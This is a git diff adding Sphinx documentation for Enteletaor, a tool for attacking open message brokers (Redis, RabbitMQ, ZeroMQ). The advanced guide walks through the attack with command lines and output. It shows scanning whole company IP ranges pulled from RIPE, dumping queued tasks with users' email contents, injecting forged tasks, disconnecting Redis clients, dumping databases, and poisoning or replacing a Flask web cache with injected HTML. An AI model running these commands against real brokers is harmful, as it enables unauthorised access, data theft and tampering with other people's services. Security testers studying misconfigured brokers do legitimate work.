diff --git a/doc/source/__init__.py b/doc/source/__init__.py new file mode 100644 index 0000000..40a96af --- /dev/null +++ b/doc/source/__init__.py @@ -0,0 +1 @@ +# -*- coding: utf-8 -*- diff --git a/doc/source/advanced.rst b/doc/source/advanced.rst new file mode 100644 index 0000000..b4a4c33 --- /dev/null +++ b/doc/source/advanced.rst @@ -0,0 +1,663 @@ +Advanced usage +============== + +Enteleteaor implements many attacks and options to interact with different brokers: + + - Redis + - RabbitMQ (of AMQP compabible) + - ZeroMQ + +Also implements some attacks specifics for Redis server. This document try to collect this information. + +There are the 3 type actions implemented: + + - Scanning + - Redis actions + - Tasks actions + + +Scanner +------- + +Enteleteaor implements a scanner to aims to detect open brokers. The scanning is implemented in pure python, with no external dependecies, like ``nmap``. + +The reason to implement a native scanner si because in ``nmap`` v7 no all scripts that detects open services works. + +.. note:: + + You also can pass as target a hostname, not only and IP. + +Custom ports +++++++++++++ + +As you can read in :doc:`quickstart` document, you can scan a single host or a network. Syntax is nmap-like. + +You can specify other ports that enteleteaor default, using ``-p`` option: + +.. code-block:: bash + + # enteleteaor scan -t 10.10.0.10/16 -p 5550,5551 + +Parallel scanning ++++++++++++++++++ + +By default, enteleteaor runs 20 concurrent scanning. Internally it's implemented with greenlets threads. It means that are not "real" threads. You can think about greenlets thread as a lightweight version of threads. + +We recommend can use 40 concurrent scanning threads. Don't worry for the overload of your system, green threads will made this possible without a hungry CPU process. + +To change concurrency, you can use ``-c`` option: + +.. code-block:: bash + + # enteleteaor scan -t 10.10.0.10/24 -c 40 + +Saving results +++++++++++++++ + +Enteleteaor can export scan results as a JSON format, using ``--output`` option: + +.. code-block:: bash + + # enteleteaor scan -t 10.10.0.10 --output results + +Or: + +.. code-block:: bash + + # enteleteaor scan -t 10.10.0.10 --output results.json + +.. note:: + + If you don't indicate the file extension, enteleteaor will add it for you. + +Company lookup +++++++++++++++ + +This is a bit strange option. Typing ``-o`` enteleteaor will try to lookup the company name in RIPE, get all the IP ranges registered for it and add to scan. + +For example, if you try to get scan ``google.com`` it will 1465 new host: + +.. code-block:: bash + + # enteletaor -vvvv scan -t google.com -o + + [ * ] Starting Enteletaor execution + [ * ] -> Detected registered network '80.239.142.192/26'. Added for scan. + [ * ] -> Detected registered network '213.242.89.64/26'. Added for scan. + [ * ] -> Detected registered network '92.45.86.16/28'. Added for scan. + [ * ] -> Detected registered network '212.179.82.48/28'. Added for scan. + [ * ] -> Detected registered network '217.163.1.64/26'. Added for scan. + [ * ] -> Detected registered network '80.239.174.64/26'. Added for scan. + [ * ] -> Detected registered network '213.253.9.128/26'. Added for scan. + [ * ] -> Detected registered network '46.108.1.128/26'. Added for scan. + [ * ] -> Detected registered network '213.248.112.64/26'. Added for scan. + [ * ] -> Detected registered network '46.61.155.0/24'. Added for scan. + [ * ] -> Detected registered network '95.167.107.32/27'. Added for scan. + [ * ] -> Detected registered network '195.50.84.192/26'. Added for scan. + [ * ] -> Detected registered network '80.239.168.192/26'. Added for scan. + [ * ] -> Detected registered network '193.120.166.64/26'. Added for scan. + [ * ] -> Detected registered network '213.155.151.128/26'. Added for scan. + [ * ] -> Detected registered network '194.44.4.0/24'. Added for scan. + [ * ] -> Detected registered network '80.239.229.192/26'. Added for scan. + [ * ] -> Detected registered network '213.242.93.192/26'. Added for scan. + [ * ] -> Detected registered network '195.100.224.112/28'. Added for scan. + [ * ] -> Detected registered network '89.175.35.32/28'. Added for scan. + [ * ] -> Detected registered network '89.175.165.0/28'. Added for scan. + [ * ] -> Detected registered network '89.175.162.48/29'. Added for scan. + [ * ] - Number of targets to analyze: 1465 + [ * ] - Starting scan + ... + +Tasks +----- + +Currently you can do 4 sub-actions for tasks. + +All of these actions are available only if broker is open. An open broker means that not credential are needed for connect to. + +.. note:: + + But.. what's a task? Oks, no problem, let's see: + + When we use a process manager to handle background tasks they use an external communication system. This communication system usually is a broker. + + The processes managers need this communication systems to send the information to be executed to the runner. Each runner is waiting for new information to process. and the broker permit delegate the exchange problems. + + So, we call this in information a ``pending task``. This ``task`` is really some information waiting in the broker to be send to the runner. + +Listing remote tasks +++++++++++++++++++++ + +Basic usage +___________ + +If there are pending tasks in broker queue, we can analyze them. Enteleteaor allow us to list all tasks found. Although there is more than one task of each type in queue, only the task definition is displayed: + +.. code-block:: bash + + # enteleteaor -v tasks list-tasks -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with server... + [ * ] - Remote process found: + [ * ] -> tasks.sum (param_0:int, param_1:int) + [ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str) + [ * ] Done! + +We can see that broker has 2 task definition stored: + + - tasks.sum + - tasks.send_mail + +Export Template +_______________ + +Enteleteaor also permit inject new tasks to broker (see bellow). The way to inject them is to pass as input a JSON file with the information. Write this file must be a bit hard. To help us, enteleteaor can export a template. + +With this template, we only must fill the appropriate field: + +.. code-block:: bash + :linenos: + :emphasize-lines: 8 + + # enteleteaor -v tasks list-task -t 10.10.0.10 -T my_template -F tasks.send_mail + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with server... + [ * ] - Remote process found: + [ * ] -> tasks.sum (param_0:int, param_1:int) + [ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str) + [ * ] - Building template... + [ * ] - Template saved at: '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/my_template.json' + [ * ] Done! + + # cat my_template.json + [{"parameters": [{"param_position": 0, "param_value": null, "param_type": "str"}, {"param_position": 1, "param_value": null, "param_type": "str"}, {"param_position": 2, "param_value": null, "param_type": "str"}], "function": "tasks.send_mail"}] + +In this example only export the function ``tasks.send_mail``. + +Removing tasks +++++++++++++++ + +We also can remove all pending task from the broker queue. It's so simple: + +.. code-block:: bash + + # enteleteaor tasks remove -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with server... + [ * ] - All tasks removed from '10.10.0.10' + [ * ] Done! + +Dumping tasks content ++++++++++++++++++++++ + +Basic usage +___________ + +We can dump the content of tasks simply using raw-dump sub-command: + +.. code-block:: bash + + # enteleteaor tasks raw-dump -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with server... + [ * ] Found process information: + [ * ] - Remote tasks name: 'tasks.sum' + [ * ] - Input parameters: + [ * ] -> P0: 1 + [ * ] -> P1: 0 + [ * ] Found process information: + [ * ] - Remote tasks name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: marquerite@cordell.com + [ * ] -> P1: Can You Afford? + [ * ] -> P2: Axis alliance with Italy and Japan. + [ * ] Found process information: + [ * ] - Remote tasks name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: amie@cordell.com + [ * ] -> P1: Read your review for John Mulaney You're missing out on points Not Cool, Guys DO NOT Commit These Instagram Atrocities + [ * ] -> P2: Molotov–Ribbentrop Pact of August 1939, Germany and subsequent declarations of war in Europe concluded with an invasion of Poland by Germany and the subsequent German unconditional surrender on 8 May 1945. + [ * ] Found process information: + [ * ] - Remote tasks name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: willard@cordell.com + [ * ] -> P1: Wish What are our customers saying? + [ * ] -> P2: In June 1941, the European Axis powers and the coalition of the world. + [ * ] -> No more messages from server. Exiting... + [ * ] Done! + +Streaming mode +______________ + +Some time we could want to listen in real time new messages available in broker. If we use ``--streaming`` option, enteleteaor will wait for new messages: + +.. code-block:: bash + :linenos: + :emphasize-lines: 17-20 + + # enteleteaor tasks raw-dump -t 10.10.0.10 --streaming + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with server... + [ * ] Found process information: + [ * ] - Remote tasks name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: aletha@cordell.com + [ * ] -> P1: Best of Groupon: The Deals That Make Us Proud (Unlike Our Nephew, Steve) Happy Birthday Lindsay - Surprise Inside! + [ * ] -> P2: Berlin by Soviet and Polish troops and the refusal of Japan to surrender under its terms, the United States dropped atomic bombs on the Eastern Front, the Allied invasion of Poland by Germany and the Axis. + [ * ] Found process information: + [ * ] - Remote tasks name: 'tasks.send_mail' + [ * ] - Input parameters: + [ * ] -> P0: amie@cordell.com + [ * ] -> P1: Read your review for John Mulaney You're missing out on points Not Cool, Guys DO NOT Commit These Instagram Atrocities + [ * ] -> P2: Molotov–Ribbentrop Pact of August 1939, Germany and subsequent declarations of war in Europe concluded with an invasion of Poland by Germany and the subsequent German unconditional surrender on 8 May 1945. + [ * ] -> P2: In June 1941, the European Axis powers and the coalition of the world. + [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. + [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. + [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. + [ * ] -> No more messages from server. Waiting for 4 seconds and try again.. + +Output file +___________ + +We can export results to CVS file using ``--output`` option. The reason to choose this format is because it permit real-time reading. In other words: + +Imagine you want to put enteleteaor in streaming mode and, at the same time, put another process to read the information from export file, CSV allow this because each line is independent of others. + +Enteleteaor store CVS as *append* mode, so it will not overwriting old file content: + +.. code-block:: bash + + # enteleteaor tasks raw-dump -t 10.10.0.10 --streaming --output dumped_server_file + +And, in other console, we can write: + +.. code-block:: bash + + # tail -f dumped_server_file.csv + +.. note:: + + If not extension provided, enteleteaor automatically add .csv + +Inject new tasks +++++++++++++++++ + +Finally, enteleteaor permit us to inject new tasks to the broker flow. The injection only accept one parameter: ``-f`` (``--function-file``). + +This parameter need a JSON file as input with the function parameters. Do you remember `Export template`_ option of the list-tasks sub-command? + +One we have the JSON file, we can inject the new process: + +.. code-block:: bash + + # enteleteaor tasks inject -f my_template.json + [ * ] Starting Enteletaor execution + [ * ] - Building process... + [ * ] - Trying to connect with server... + [ * ] - Sending processes to '10.10.0.10' + [ * ] 1) tasks.send_mail + [ * ] Done! + + + +Redis +----- + +Redis is a power full and versatile server. It can act as: + + - Key-value database + - Broker + - Cache + - ... + +So, it has it own command and actions: + +Getting info +++++++++++++ + +This action was explained in :doc:`quickstart` document. + +Listing connected users ++++++++++++++++++++++++ + +This action was explained in :doc:`quickstart` document. + +Disconnecting users ++++++++++++++++++++ + +We not only can show all connected users, also can disconnect them. To do that we can use the sub-command ``disconnect``. + +Disconnect one user +___________________ + +This command need as input the client to disconnect. Client must be as format: IP:PORT, as ``connected`` command displays. + +.. code-block:: bash + :linenos: + :emphasize-lines: 7,13 + + # enteleteaor redis connected -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] Connected users to '10.10.0.10': + [ * ] - 10.10.0.2:52748 (DB: 0) + [ * ] - 10.10.0.2:52749 (DB: 0) + [ * ] - 10.10.0.2:52752 (DB: 0) + [ * ] - 127.0.0.1:42262 (DB: 0) + [ * ] - 10.10.0.2:51200 (DB: 0) + [ * ] Done! + + # enteleteaor redis disconnect -t 10.10.0.10 -c 127.0.0.1:42262 + [ * ] Starting Enteletaor execution + [ * ] - Client '127.0.0.1:42264' was disconnected + [ * ] Done! + +Disconnect all users +____________________ + +If you want to disconnect all connected users, enteleteaor has the shortcut ``--all``: + +.. code-block:: bash + + # enteleteaor redis disconnect -t 10.10.0.10 --all + +Discovering DBs ++++++++++++++++ + +By default Redis has 16 databases, but you can add as many as you need. If the database used by the remote server is different to 0 (default database) and you need to discover them, you can use ``discover-dbs``: + +.. code-block:: bash + + # enteleteaor redis discover-dbs -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] Discovered '10.10.0.10' DBs at '16': + [ * ] - DB0 - 4 keys + [ * ] - DB1 - Empty + [ * ] - DB2 - Empty + [ * ] - DB3 - Empty + [ * ] - DB4 - Empty + [ * ] - DB5 - Empty + [ * ] - DB6 - Empty + [ * ] - DB7 - Empty + [ * ] - DB8 - Empty + [ * ] - DB9 - Empty + [ * ] - DB10 - Empty + [ * ] - DB11 - Empty + [ * ] - DB12 - Empty + [ * ] - DB13 - Empty + [ * ] - DB14 - Empty + [ * ] Done! + +Dumping information ++++++++++++++++++++ + +Basic usage +___________ + +One of more interesting thing is display information stored in redis and has the possibility to export it. + +``dump`` sub-command permit that: + +.. code-block:: bash + + # enteleteaor redis dump -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with redis server... + [ * ] "b'unacked'": + [ * ] { + [ * ] "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'": + [ * ] { + [ * ] "content-encoding": "b'binary'" + [ * ] "properties": + [ * ] { + [ * ] "body_encoding": "b'base64'" + [ * ] "delivery_mode": "2" + [ * ] "delivery_info": + [ * ] { + [ * ] "priority": "0" + [ * ] "exchange": "b'celery'" + [ * ] "routing_key": "b'celery'" + [ * ] } + [ * ] "delivery_tag": + [ * ] { + [ * ] "delivery_tag": "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'" + [ * ] } + [ * ] "headers": + [ * ] { + [ * ] } + [ * ] "body": + [ * ] { + [ * ] "chord": "None" + [ * ] "retries": "0" + [ * ] "kwargs": + [ * ] { + [ * ] } + [ * ] "task": "b'tasks.send_mail'" + [ * ] "errbacks": "None" + [ * ] "taskset": "None" + [ * ] "timelimit": "(None, None)" + [ * ] "callbacks": "None" + [ * ] "eta": "None" + [ * ] "id": + [ * ] { + [ * ] "id": "b'8d772bd5-7f2c-4bef-bc74-aa582aaf0520'" + [ * ] "expires": "None" + [ * ] "utc": "True" + [ * ] "args": "('leatha@elidia.com', 'Guys DO NOT Commit These Instagram Atrocities 10 Engagement Tips to Gobble Over Thanksgiving Buffer has been hacked - here', 'Declaration by the Western Allies and the refusal of Japan to surrender under its terms, the United States emerged as an effort to end pre-war enmities and to create a common identity.')" + [ * ] } + [ * ] "content-type": + [ * ] { + [ * ] "content-type": "b'application/x-python-serialize'" + [ * ] } + [ * ] Done! + +Exporting results +_________________ + +Don't worry if above console output is a bit heavy, we can export results to a JSON file using ``-e`` (``--export-results``): + +.. code-block:: bash + + # enteleteaor redis dump -t 10.10.0.10 -e dumped_info + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with redis server... + [ * ] - Storing information into 'results.json' + [ * ] "b'unacked'": + [ * ] { + [ * ] "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'": + [ * ] { + [ * ] "content-encoding": "b'binary'" + [ * ] "properties": + [ * ] { + [ * ] "body_encoding": "b'base64'" + [ * ] "delivery_mode": "2" + [ * ] "delivery_info": + [ * ] { + [ * ] "priority": "0" + [ * ] "exchange": "b'celery'" + [ * ] "routing_key": "b'celery'" + [ * ] } + [ * ] "delivery_tag": + [ * ] { + [ * ] "delivery_tag": "b'a3b415a9-2ce1-4386-b104-94b9a38aee73'" + [ * ] } + [ * ] "headers": + [ * ] { + [ * ] } + [ * ] "body": + [ * ] { + [ * ] "chord": "None" + [ * ] "retries": "0" + [ * ] "kwargs": + [ * ] { + [ * ] } + [ * ] "task": "b'tasks.send_mail'" + [ * ] "errbacks": "None" + [ * ] "taskset": "None" + [ * ] "timelimit": "(None, None)" + [ * ] "callbacks": "None" + [ * ] "eta": "None" + [ * ] "id": + [ * ] { + [ * ] "id": "b'8d772bd5-7f2c-4bef-bc74-aa582aaf0520'" + [ * ] "expires": "None" + [ * ] "utc": "True" + [ * ] "args": "('leatha@elidia.com', 'Guys DO NOT Commit These Instagram Atrocities 10 Engagement Tips to Gobble Over Thanksgiving Buffer has been hacked - here', 'Declaration by the Western Allies and the refusal of Japan to surrender under its terms, the United States emerged as an effort to end pre-war enmities and to create a common identity.')" + [ * ] } + [ * ] "content-type": + [ * ] { + [ * ] "content-type": "b'application/x-python-serialize'" + [ * ] } + [ * ] Done! + +.. note:: + + We don't need to put the extension .json to file. If extension is missing, enteleteaor will add it. + +Hide screen output +__________________ + +If you don't want to display information into screen (useful when Redis contains a lot of information) using ``--no-screen`` option: + +.. code-block:: bash + + # enteleteaor redis dump -t 10.10.0.10 -e dumped_info --no-screen + [ * ] Starting Enteletaor execution + [ * ] - Trying to connect with redis server... + [ * ] - Storing information into 'results.json' + [ * ] Done! + +Handling cache +++++++++++++++ + +Redis is commonly used as a centralized cache system. We can handle this cache stored in it. + +Finding cache keys +__________________ + +First step is find possible cache keys in Redis. Enteleteaor has the option ``--search`` that will try to find this keys: + +.. code-block:: bash + + # enteleteaor redis cache -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] Looking for caches in '10.10.0.10'... + [ * ] - Possible cache found in key: b'flask_cache_view//' + [ * ] Done! + +Dumping all cache keys +______________________ + +If we want to dump, as raw-way, possible cache keys (not only locate) we omit the option ``--search``: + +.. code-block:: bash + + # enteleteaor redis cache -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Listing cache information: + [ * ] -> Key: 'b'flask_cache_view//'' - + [ * ] -> Content: + !X + + + + + + + + + ... + + [ * ] Done! + +Dumping specific cache key +__________________________ + +We can dump only an specific key: + +.. code-block:: bash + + # enteleteaor redis cache -t 10.10.0.10 --cache-key "flask_cache_view//" + [ * ] Starting Enteletaor execution + [ * ] - Listing cache information: + [ * ] -> Key: 'b'flask_cache_view//'' - + [ * ] -> Content: + !X + + + + + + + + + ... + + [ * ] Done! + +Basic cache poisoning +_____________________ + +Enteleteaor permit us to poison the cache. To enable the cache we need to enable it with option ``-P``. + +By default, enteleteaor will try to inject an HTML " + [ * ] Starting Enteletaor execution + [ * ] - Poisoning enabled + [ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10' + [ * ] Done! + +**Using file**: + +.. code-block:: bash + + # echo "" > my_payload.txt + # enteleteaor redis cache -P -t 10.10.0.10 --file-payload my_payload.txt + [ * ] Starting Enteletaor execution + [ * ] - Poisoning enabled + [ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10' + [ * ] Done! + +Replace cache content +_____________________ + +Finally, we can replace entire content of cache key using option ``--replace-html``: + +.. code-block:: bash + + # echo "Replaced content

Say cheeeeers again :)

" > new_html.html + # enteleteaor redis cache -P -t 10.10.0.10 --replace-html new_html.html + [ * ] Starting Enteletaor execution + [ * ] - Poisoning enabled + [ * ] - Poisoned cache key 'flask_cache_view//' at server '10.10.0.10' + [ * ] Done! diff --git a/doc/source/conf.py b/doc/source/conf.py new file mode 100644 index 0000000..39077ca --- /dev/null +++ b/doc/source/conf.py @@ -0,0 +1,313 @@ +# -*- coding: utf-8 -*- +# +# Documentation build configuration file, created by +# sphinx-quickstart on Wed Feb 11 01:21:33 2015. +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +import os +import sys +import sphinx_rtd_theme + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +#sys.path.insert(0, os.path.abspath('.')) + +# -- General configuration ------------------------------------------------ + +# If your documentation needs a minimal Sphinx version, state it here. +#needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be +# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom +# ones. +extensions = [ + 'sphinx.ext.autodoc', +] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix of source filenames. +source_suffix = '.rst' + +# The encoding of source files. +#source_encoding = 'utf-8-sig' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'Enteletaor' +copyright = u', Daniel Garcia (cr0hn) - @ggdaniel' + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# The short X.Y version. +version = '1.0' +# The full version, including alpha/beta/rc tags. +release = '1.0.0' + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +#language = None + +# There are two options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +#today_fmt = '%B %d, %Y' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = [] + +# The reST default role (used for this markup: `text`) to use for all +# documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# A list of ignored prefixes for module index sorting. +#modindex_common_prefix = [] + +# If true, keep warnings as "system message" paragraphs in the built documents. +#keep_warnings = False + + +# -- Options for HTML output ---------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +html_theme = 'sphinx_rtd_theme' + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +#html_theme_options = {} + +# Add any paths that contain custom themes here, relative to this directory. +html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] + +# The name for this set of Sphinx documents. If None, it defaults to +# " v documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# Add any extra paths that contain custom files (such as robots.txt or +# .htaccess) here, relative to this directory. These files are copied +# directly to the root of the documentation. +#html_extra_path = [] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +#html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Output file base name for HTML help builder. +htmlhelp_basename = 'enteletaor' + + +# -- Options for LaTeX output --------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, +# author, documentclass [howto, manual, or own class]). + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output --------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ------------------------------------------- + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' + +# If true, do not generate a @detailmenu in the "Top" node's menu. +#texinfo_no_detailmenu = False + + +# -- Options for Epub output ---------------------------------------------- + +# Bibliographic Dublin Core info. + +# The basename for the epub file. It defaults to the project name. + +# The HTML theme for the epub output. Since the default themes are not optimized +# for small screen space, using the same theme for HTML and epub output is +# usually not wise. This defaults to 'epub', a theme designed to save visual +# space. +epub_theme = 'epub' + +# The language of the text. It defaults to the language option +# or en if the language is not set. +#epub_language = '' + +# The scheme of the identifier. Typical schemes are ISBN or URL. +#epub_scheme = '' + +# The unique identifier of the text. This can be a ISBN number +# or the project homepage. +#epub_identifier = '' + +# A unique identification for the text. +#epub_uid = '' + +# A tuple containing the cover image and cover page html template filenames. +#epub_cover = () + +# A sequence of (type, uri, title) tuples for the guide element of content.opf. +#epub_guide = () + +# HTML files that should be inserted before the pages created by sphinx. +# The format is a list of tuples containing the path and title. +#epub_pre_files = [] + +# HTML files shat should be inserted after the pages created by sphinx. +# The format is a list of tuples containing the path and title. +#epub_post_files = [] + +# A list of files that should not be packed into the epub file. +epub_exclude_files = ['search.html'] + +# The depth of the table of contents in toc.ncx. +#epub_tocdepth = 3 + +# Allow duplicate toc entries. +#epub_tocdup = True + +# Choose between 'default' and 'includehidden'. +#epub_tocscope = 'default' + +# Fix unsupported image types using the PIL. +#epub_fix_images = False + +# Scale large images. +#epub_max_image_width = 0 + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#epub_show_urls = 'inline' + +# If false, no index is generated. +#epub_use_index = True diff --git a/doc/source/index.rst b/doc/source/index.rst new file mode 100644 index 0000000..fd6dc4b --- /dev/null +++ b/doc/source/index.rst @@ -0,0 +1,58 @@ +.. Documentation master file, created by + sphinx-quickstart on Wed Feb 11 01:21:33 2015. + You can adapt this file completely to your liking, but it should at least + contain the root `toctree` directive. + +Welcome to Enteletaor documentation! +==================================== + +.. figure:: ../images/enteletaor-logo-150px.png + :align: left + +Enteletaor is a message Queue & Broker Injection tool. + ++----------------+------------------------------------+ +|Project site | http://github.com/cr0hn/enteletaor | ++----------------+------------------------------------+ +|Author | Daniel Garcia (cr0hn) - @ggdaniel | ++----------------+------------------------------------+ +|Last Version | 1.0.0 | ++----------------+------------------------------------+ +|Python versions | 2.x 3.x | ++----------------+------------------------------------+ + +Quick project description +------------------------- + +Enteleteaor is a tool that can handle information from open brokers. + +Some of the actions you can do are: + + - Listing remote tasks. + - Read remote task content. + - Disconnect remote clients from Redis server (even the admin!) + - Inject tasks into remote processes. + - Make a scan to discover open brokers. + +Currently supported brokers are: + + - RabbitMQ (or AMQP compatible). + - ZeroMQ. + - Redis. + + +Content Index +------------- + +.. toctree:: + :maxdepth: 3 + + installation + quickstart + advanced + + +Licence +------- + +I believe in freedom, so Enteletaor is released under BSD license. \ No newline at end of file diff --git a/doc/source/installation.rst b/doc/source/installation.rst new file mode 100644 index 0000000..35fc1c4 --- /dev/null +++ b/doc/source/installation.rst @@ -0,0 +1,45 @@ +Installation +============ + +Using PIP +--------- + +The easiest way to install enteleteaor is from Pypi. To do this, only run: + +.. code-block:: bash + + # pip install enteletaor + +Then run enteleteaor writing: + +.. code-block:: bash + + # enteleteaor -h + +From source +----------- + +Also, you can download source code from github using git: + +.. code-block:: bash + + git clone https://github.com/cr0hn/enteleteaor.git enteleteaor + +Next you need to install dependencies from ``requirements.txt``: + +.. code-block:: bash + + pip install -r requirements.txt + + +.. note:: + + If you're not running enteleteaor in a virtualenv, probably you need tu be root to install requirements. So, you can use ``sudo`` command. + +Finally you can run enteleteaor: + +.. code-block:: bash + + # cd enteleteaor_lib + # python enteleteaor.py -h + diff --git a/doc/source/quickstart.rst b/doc/source/quickstart.rst new file mode 100644 index 0000000..0f14972 --- /dev/null +++ b/doc/source/quickstart.rst @@ -0,0 +1,201 @@ +Quick Start +=========== + +Enteleteaor have 3 super commands available: + + - scan: scanner that discover open brokers. + - tasks: handle remote tasks. + - redis: specific actions for Redis server. + +This document contains an overview of enteleteaor with some examples for each super commands. If you want learn more, visit the :doc:`attacks`. + +Python versions +--------------- + +Enteleteaor can run in Python 2.7.x and 3.x. Python 3 is recommended, but you cand use python 2.7 without any problem. + +Getting help +------------ + +Super commands ``tasks`` and ``redis`` has many sub-options, you can get help using ``-h`` in each super command: + +.. code-block:: bash + :linenos: + :emphasize-lines: 9-14 + + # enteleteaor scan -h + usage: enteletaor.py redis [-h] + {info,disconnect,dump,cache,discover-dbs,connected} + ... + + positional arguments: + {info,disconnect,dump,cache,discover-dbs,connected} + redis commands: + info open a remote shell through the Redis server + disconnect disconnect one or all users from Redis server + dump dumps all keys in Redis database + cache poison remotes cache using Redis server + discover-dbs discover all Redis DBs at server + connected get connected users to Redis server + + optional arguments: + -h, --help show this help message and exit + + +Setting verbosity level +----------------------- + +Enteleteaor has 5 levels of verbosity, you can setup adding ``-v`` to command line: + +.. code-block:: bash + + # enteleteaor -v scan -t 10.10.0.10 + # enteleteaor -vvvv scan -t 10.10.0.10 + +.. note:: + + Be careful to put ``-v`` between enteleteaor and top action: + + - enteleteaor -vv scan ... -> **GOOD** + - enteleteaor scan -vv ... -> **BAD** + +Quick scan +---------- + +Quickly you make try to discover if some host has open brokers running that: + +.. code-block:: bash + + # enteleteaor -v scan -t 10.10.0.10 + [ * ] Starting Enteletaor execution + [ * ] - Number of targets to analyze: 1 + [ * ] - Starting scan + [ * ] > Analyzing host '10.10.0.10' + [ * ] Open 'RabbitMQ' server found in port '5672' at '10.10.0.10' + [ * ] Open 'Redis' server found in port '6379' at '10.10.0.10' + [ * ] Open 'ZeroMQ' server found in port '5555' at '10.10.0.10' + [ * ] - Open services found: + [ * ] -> Host - 10.10.0.10 + [ * ] * 6379/TCP [Redis] + [ * ] * 5672/TCP [RabbitMQ] + [ * ] * 5555/TCP [ZeroMQ] + [ * ] Done! + +You can also analyze an entire network: + +.. code-block:: bash + + # enteleteaor scan -t 